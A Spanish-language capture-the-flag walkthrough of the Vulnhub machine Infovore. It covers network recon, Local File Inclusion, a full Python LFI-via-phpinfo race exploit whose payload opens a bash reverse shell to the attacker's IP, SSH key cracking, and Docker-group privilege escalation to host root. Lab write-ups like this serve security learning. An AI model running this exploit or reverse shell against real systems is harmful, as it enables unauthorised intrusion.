Infovore | CTF Writeup - Vulnhub
Infovore
Empezamos enumerando la red local para así encontrar la IP de la máquina víctima. Utilizaremos en este caso la herramienta
netdiscover
.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
> netdiscover -r 192.168.216.0/24
Currently scanning: 192.168.216.0/24 | Screen View: Unique Hosts
4 Captured ARP Req/Rep packets, from 4 hosts. Total size: 240
_____________________________________________________________________________
IP At MAC Address Count Len MAC Vendor / Hostname
-----------------------------------------------------------------------------
192.168.216.1 00:50:56:c0:00:08 1 60 VMware, Inc.
192.168.216.2 00:50:56:e2:11:a1 1 60 VMware, Inc.
192.168.216.142 00:0c:29:e1:b5:e9 1 60 VMware, Inc.
192.168.216.254 00:50:56:f8:e9:f9 1 60 VMware, Inc.
> export IP=192.168.216.142
Una vez tengamos nuestra variable de entorno IP, procedemos a hacerle un escaneo exhaustivo de puertos con
nmap
.
1
2
3
4
5
6
7
8
9
# Nmap 7.93 scan initiated Sun Jan 21 23:27:06 2024 as: nmap -sS -T5 --min-rate 5000 -p- --open -oN scan.txt 192.168.216.142
Nmap scan report for 192.168.216.142
Host is up (0.000088s latency).
Not shown: 65534 closed tcp ports (reset)
PORT STATE SERVICE
80/tcp open http
MAC Address: 00:0C:29:E1:B5:E9 (VMware)
# Nmap done at Sun Jan 21 23:27:08 2024 -- 1 IP address (1 host up) scanned in 1.59 seconds
Sabiendo que el puerto 80 está abierto, seguimos aplicando reconocimiento para verificar las versiones que corren y lanzar scripts provenientes de
nmap
.
1
2
3
4
5
6
7
8
9
10
11
12
# Nmap 7.93 scan initiated Sun Jan 21 23:27:18 2024 as: nmap -sCV -p80 -oN versions.txt 192.168.216.142
Nmap scan report for 192.168.216.142
Host is up (0.00027s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Include me ...
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 00:0C:29:E1:B5:E9 (VMware)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sun Jan 21 23:27:25 2024 -- 1 IP address (1 host up) scanned in 6.66 seconds
Ciertamente, llama la atención el título de la página (Include me). Debe hacer alusión a una vulnerabilidad Local File Inclusion existente en la aplicación. Lanzamos el script
http-enum
de la herramientanmap
para descubrir directorios y archivos comunes.
1
2
3
4
5
6
7
8
9
10
11
# Nmap 7.93 scan initiated Sun Jan 21 23:29:02 2024 as: nmap --script http-enum -p80 -oN http-enum.txt 192.168.216.142
Nmap scan report for 192.168.216.142
Host is up (0.00030s latency).
PORT STATE SERVICE
80/tcp open http
| http-enum:
|_ /info.php: Possible information file
MAC Address: 00:0C:29:E1:B5:E9 (VMware)
# Nmap done at Sun Jan 21 23:29:03 2024 -- 1 IP address (1 host up) scanned in 0.59 seconds
Si nos metemos a la página, vemos el contenido típico de un archivo phpinfo. En el apartado
disable_functions
no hay ninguna función deshabilitada, lo que nos facilita (en caso de que la aplicación sea vulnerable a un RCE) ejecutar comandos en la máquina víctima con funciones comosystem()
,shell_exec()
, etc. .
Si seguimos inspeccionando, vemos que está habilitada la opción de subir archivos con la directiva
file_uploads
.
Volviendo a la página original, fuzzeamos para ver si se acontece un Local File Inclusion con la herramienta
wfuzz
. Ocultamos las líneas que aparezcan continuamente con el parámetro--hl=136
, ya que esto indicaría que el archivo no se está incluyendo y sigue mostrando la sección de home con una longitud de 136 líneas.
¡Listo! Si nos dirigimos a la web:
Estamos mostrando el
/etc/passwd
de la máquina víctima. Sin embargo, no somos capaces de visualizar archivos críticos como/var/log/apache2/access.log
,/var/log/auth.log
,/var/log/apache2/error.log
,/proc/net/fib_trie
,/proc/self/environ
,/root/.ssh/id_rsa
. En caso de poder ver los logs, se podría acontecer un Log Poisoning que nos permita ejecutar comandos en la máquina. También intentamos inyectar comandos vía php filters con la herramienta php_filter_chain_generator, pero veremos que seremos incapaces de lograrlo. De todos modos, acá hay un artículo interesante que habla sobre esto.
Dado que no tenemos éxito en incluir posibles archivos de nuestro interés, intentamos subir nuestro propio archivo a la máquina víctima dado que la directiva
file_uploads
está activa. Buscamos rápidamente en Google una estructura para subir archivos mediante una petición HTTP conmultipart/form-data
y lo subimos con Burp Suite de la siguiente manera.
Si nos vamos a la web:
Nos subió el archivo. ¿Qué pasa si lo incluimos?
Nuevamente no nos carga nada. Si buscamos, en la página de Hacktricks que nos indica como explotar esta vulnerabilidad para ganar acceso a la máquina. Lo haremos con este script de python:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
#!/usr/bin/python
import sys
import threading
import socket
def setup(host, port):
TAG="Security Test"
PAYLOAD="""%s\r
<?php echo system("bash -c 'bash -i >& /dev/tcp/192.168.216.133/443 0>&1'");?>');?>\r""" % TAG
REQ1_DATA="""-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
%s
-----------------------------7dbff1ded0714--\r""" % PAYLOAD
padding="A" * 5000
REQ1="""POST /info.php?a="""+padding+""" HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie="""+padding+"""\r
HTTP_ACCEPT: """ + padding + """\r
HTTP_USER_AGENT: """+padding+"""\r
HTTP_ACCEPT_LANGUAGE: """+padding+"""\r
HTTP_PRAGMA: """+padding+"""\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: %s\r
Host: %s\r
\r
%s""" %(len(REQ1_DATA),host,REQ1_DATA)
#modify this to suit the LFI script
LFIREQ="""GET /index.php?filename=%s HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: %s\r
\r
\r
"""
return (REQ1, TAG, LFIREQ)
def phpInfoLFI(host, port, phpinforeq, offset, lfireq, tag):
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s2.connect((host, port))
s.send(phpinforeq)
d = ""
while len(d) < offset:
d += s.recv(offset)
try:
i = d.index("[tmp_name] =>")
fn = d[i+17:i+31]
except ValueError:
return None
s2.send(lfireq % (fn, host))
d = s2.recv(4096)
s.close()
s2.close()
if d.find(tag) != -1:
return fn
counter=0
class ThreadWorker(threading.Thread):
def __init__(self, e, l, m, *args):
threading.Thread.__init__(self)
self.event = e
self.lock = l
self.maxattempts = m
self.args = args
def run(self):
global counter
while not self.event.is_set():
with self.lock:
if counter >= self.maxattempts:
return
counter+=1
try:
x = phpInfoLFI(*self.args)
if self.event.is_set():
break
if x:
print "\nGot it! Shell created in /tmp/g"
self.event.set()
except socket.error:
return
def getOffset(host, port, phpinforeq):
"""Gets offset of tmp_name in the php output"""
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
s.send(phpinforeq)
d = ""
while True:
i = s.recv(4096)
d+=i
if i == "":
break
# detect the final chunk
if i.endswith("0\r\n\r\n"):
break
s.close()
i = d.find("[tmp_name] =>")
if i == -1:
raise ValueError("No php tmp_name in phpinfo output")
print "found %s at %i" % (d[i:i+10],i)
# padded up a bit
return i+256
def main():
print "LFI With PHPInfo()"
print "-=" * 30
if len(sys.argv) < 2:
print "Usage: %s host [port] [threads]" % sys.argv[0]
sys.exit(1)
try:
host = socket.gethostbyname(sys.argv[1])
except socket.error, e:
print "Error with hostname %s: %s" % (sys.argv[1], e)
sys.exit(1)
port=80
try:
port = int(sys.argv[2])
except IndexError:
pass
except ValueError, e:
print "Error with port %d: %s" % (sys.argv[2], e)
sys.exit(1)
poolsz=10
try:
poolsz = int(sys.argv[3])
except IndexError:
pass
except ValueError, e:
print "Error with poolsz %d: %s" % (sys.argv[3], e)
sys.exit(1)
print "Getting initial offset...",
reqphp, tag, reqlfi = setup(host, port)
offset = getOffset(host, port, reqphp)
sys.stdout.flush()
maxattempts = 1000
e = threading.Event()
l = threading.Lock()
print "Spawning worker pool (%d)..." % poolsz
sys.stdout.flush()
tp = []
for i in range(0,poolsz):
tp.append(ThreadWorker(e,l,maxattempts, host, port, reqphp, offset, reqlfi, tag))
for t in tp:
t.start()
try:
while not e.wait(1):
if e.is_set():
break
with l:
sys.stdout.write( "\r% 4d / % 4d" % (counter, maxattempts))
sys.stdout.flush()
if counter >= maxattempts:
break
print
if e.is_set():
print "Woot! \m/"
else:
print ":("
except KeyboardInterrupt:
print "\nTelling threads to shutdown..."
e.set()
print "Shuttin' down..."
for t in tp:
t.join()
if __name__=="__main__":
main()
Modificamos el script en la primera sección, en la parte del setup, colocando el parámetro GET vulnerable a un Local File Inclusion. Además, cambiamos el comando que queremos inyectar. Y finalmente, ejecutamos el script.
¡Ganamos acceso! Vemos la primera flag.
Si enumeramos la raíz del sistema con un
ls -lah /
, veremos archivos interesantes. En especial, un archivo.dockerenv
y.oldkeys.tgz
. El primero nos indica que nos encontramos bajo un contenedor de Docker. Además, si hacemos unhostname -I
, veremos que la IP es distinta (192.168.150.21), por lo que podemos apreciar que se está aplicando Port Forwarding. Si movemos el comprimido al directorio/tmp/
para analizarlo más a fondo, veremos lo siguiente.
Intentamos acceder por ssh al usuario root con la private key dentro de la máquina víctima con el siguiente comando:
ssh -i root root@localhost
. Sin embargo, veremos que no somos capaces y tendremos que brindar una contraseña. Lo mismo si nos intentamos conectar por fuera del contenedor de Docker a la máquina host de IP 192.168.150.1.
Podemos intentar crackear la clave privada mediante las herramientas
ssh2john
yjohn
.
Intentamos migrar al usuario root con la contraseña crackeada.
¡Listo! Somos root. Ahora solo debemos escapar del contenedor. Vemos la otra flag.
Si nos vamos al directorio
/root/.ssh
y leemos el archivo de clave pública, veremos como que usuario nos podemos conectar a la máquina host sin proporcionar contraseña.
Sin embargo, nos pide una frase. Simplemente probamos con la contraseña anteriormente crackeada y veremos que se vuelve a utilizar.
Si hacemos un
id
, vemos que estamos en el grupo docker.
Ahora solo falta correr un contenedor con una montura de la raíz de la máquina host dentro del mismo para poder elevar nuestro privilegio.
Accedemos al contenedor y nos dirigimos al volumen creado.
Le modificamos los privilegios al binario de bash y le añadimos un permiso SUID para poder ejecutar bash como root, independientemente del usuario que lo ejecute.
Volvemos a la máquina host y ejecutamos el comando
/bin/bash -p
.
La última flag: